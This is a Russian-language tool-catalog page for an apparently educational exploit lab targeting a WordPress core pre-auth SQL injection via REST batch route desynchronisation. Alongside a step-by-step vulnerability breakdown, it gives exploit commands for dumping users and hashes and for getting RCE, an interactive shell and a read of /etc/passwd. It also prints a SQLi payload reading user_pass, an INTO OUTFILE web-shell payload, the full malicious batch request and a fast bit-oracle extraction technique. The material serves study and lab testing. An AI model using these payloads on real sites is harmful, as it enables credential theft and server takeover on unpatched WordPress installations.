Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wp2shell-lab — Обучающий PoC + лаборатория для CVE-2026-63030 + CVE-2026-60137: SQLi без аутентификации в ядре WordPress через путаницу batch-маршрутов REST | Kitploit
Инструменты/GitHubGitHub/47cid/wp2shell-lab
Статический анализАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHub47cid/wp2shell-lab

wp2shell-lab

1421 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Обучающий PoC + лаборатория для CVE-2026-63030 + CVE-2026-60137: SQLi без аутентификации в ядре WordPress через путаницу batch-маршрутов REST

Репозиторий

wp2shell-lab

Образовательный PoC и лабораторный стенд для CVE-2026-63030 + CVE-2026-60137: пред-аутентификационная SQL-инъекция в ядре WordPress через подмену маршрутов REST batch-API.

Обнаружено Адамом Кьюсом (Searchlight Cyber / Assetnote). Исправлено в WordPress 6.9.5 / 7.0.2.

Быстрый старт

root@kitploit:~
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..

# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # interactive shell

# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# tear down
cd docker && ./setup.sh down

Разбор уязвимости

Шаг 1: batch-эндпоинт не требует аутентификации

POST /wp-json/batch/v1 объединяет несколько вызовов REST API в один HTTP-запрос. У него нет собственной проверки аутентификации. Безопасность делегируется permission-колбэкам каждого подзапроса.

Шаг 2: Десинхронизация

serve_batch_request_v1() создаёт два параллельных массива:

  • $matches[] отслеживает, какому обработчику направить каждый подзапрос
  • $validation[] отслеживает, прошёл ли каждый подзапрос валидацию

При диспетчеризации оба массива индексируются одним и тем же смещением. Баг: когда путь подзапроса не проходит wp_parse_url(), в $validation добавляется WP_Error, но не в $matches. Из-за этого $matches сдвигается на один элемент, и каждый последующий подзапрос направляется не тому обработчику.

Шаг 3: Двойная вложенность

Десинхронизация используется дважды.

Внешний batch. Запрос /wp/v2/posts, в теле которого находится внутренний batch, направляется обработчику batch (самовызов). Он был провалидирован как запрос к записям, поэтому внутренний массив requests никогда не сверялся с batch-схемой. Это обходит список разрешённых методов и позволяет внутренним подзапросам использовать GET.

Внутренний batch. Запрос /wp/v2/categories?author_exclude=<SQLI> направляется обработчику get_items() записей. Схема категорий не определяет параметр author_exclude, поэтому он проходит валидацию без изменений. Но get_items() записей сопоставляет его с WP_Query::author__not_in, где значение подставляется в SQL как есть.

Шаг 4: SQL-инъекция

Уязвимый код WP_Query санитизировал author__not_in только в том случае, если он уже был массивом:

root@kitploit:~
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // raw interpolation

Строковое значение полностью обходит проверку is_array(). Приведение (array) лишь оборачивает строку, не санитизируя её.

Шаг 5: Что с этим можно сделать

Чтение базы данных (на любом уязвимом сайте):

root@kitploit:~
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

Булев оракул: если записи возвращаются — истина, если пусто — ложь. Бинарный поиск по каждому символу.

Запись файлов (требует привилегии MySQL FILE, которой нет в WordPress по умолчанию):

root@kitploit:~
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

Десинхронизация batch-обработчика

Фактический HTTP-запрос:

root@kitploit:~
{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

Как рассогласуются массивы:

serve_batch_request_v1() обрабатывает подзапросы в двух циклах. Первый цикл валидирует каждый подзапрос и формирует $matches[] и $validation[]. Второй цикл направляет каждый подзапрос, используя $matches[$i] в качестве обработчика. Поскольку ошибка праймера отсутствует в $matches, второй цикл сопоставляет каждый запрос с неверным обработчиком.

root@kitploit:~
POST /?rest_route=/batch/v1  (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"          -> wp_parse_url fails              |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 error skipped in $matches                    |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /posts  uses $matches[1] = batch_handler        |
|         -> posts body executed as a nested batch             |
|    i=2: POST /batch  uses $matches[2] = out of bounds        |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"            -> wp_parse_url fails            |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /categories uses $matches[1] = posts_handler    |
|         -> categories request handled by posts get_items()   |
|         -> author_exclude not in cats schema, unsanitized    |
|         -> posts maps it to WP_Query::author__not_in         |
|         -> SQL INJECTION                                     |
|                                                              |
+--------------------------------------------------------------+

Быстрое извлечение данных с помощью битового оракула X-WP-Total

Существующие PoC используют слепое булево извлечение: 1 бит на HTTP-запрос, около 224 запросов на хеш пароля. Этот репозиторий сочетает две техники, что ускоряет извлечение примерно в 75 раз.

Оракул X-WP-Total. WordPress добавляет SQL_CALC_FOUND_ROWS в запросы записей и помещает их количество в заголовок ответа X-WP-Total. Строки UNION учитываются на уровне SQL, даже несмотря на то, что PHP отфильтровывает их из тела ответа. Условные UNION-запросы кодируют отдельные биты:

root@kitploit:~
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0   -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0   -- bit 1
...                                                            -- bits 2-6
-- -

X-WP-Total = 0 означает, что бит не установлен, 1 — что установлен. Семь проб — один полный ASCII-символ.

Безлимитный внутренний batch. Внешний batch проверяет maxItems: 25 через свою схему. Подмена маршрутов обходит это: внутренний batch рекурсивно выполняется без проверки размера. Все 7 битовых проб для нескольких символов упаковываются в один запрос.

16 символов x 7 бит = 112 проб на запрос. 34-символьный phpass-хеш — за ~3 запроса вместо ~224.

root@kitploit:~
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent

$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent

Ссылки

  • Релиз WordPress 7.0.2
  • Отчёт Searchlight Cyber
  • GHSA-ff9f-jf42-662q (подмена маршрутов)
  • GHSA-fpp7-x2x2-2mjf (SQL-инъекция)
  • Icex0/wp2shell-poc — слепая SQL-инъекция + веб-шелл после аутентификации
  • AdnaneKhan/Wp2Shell-RCE — RCE через INTO OUTFILE с Docker-стендом
  • sergiointel/wp2shell-poc — минимальный PoC на основе временных задержек

Правовая информация

Только для авторизованного тестирования безопасности и в образовательных целях. Используйте исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.

Скачать инструмент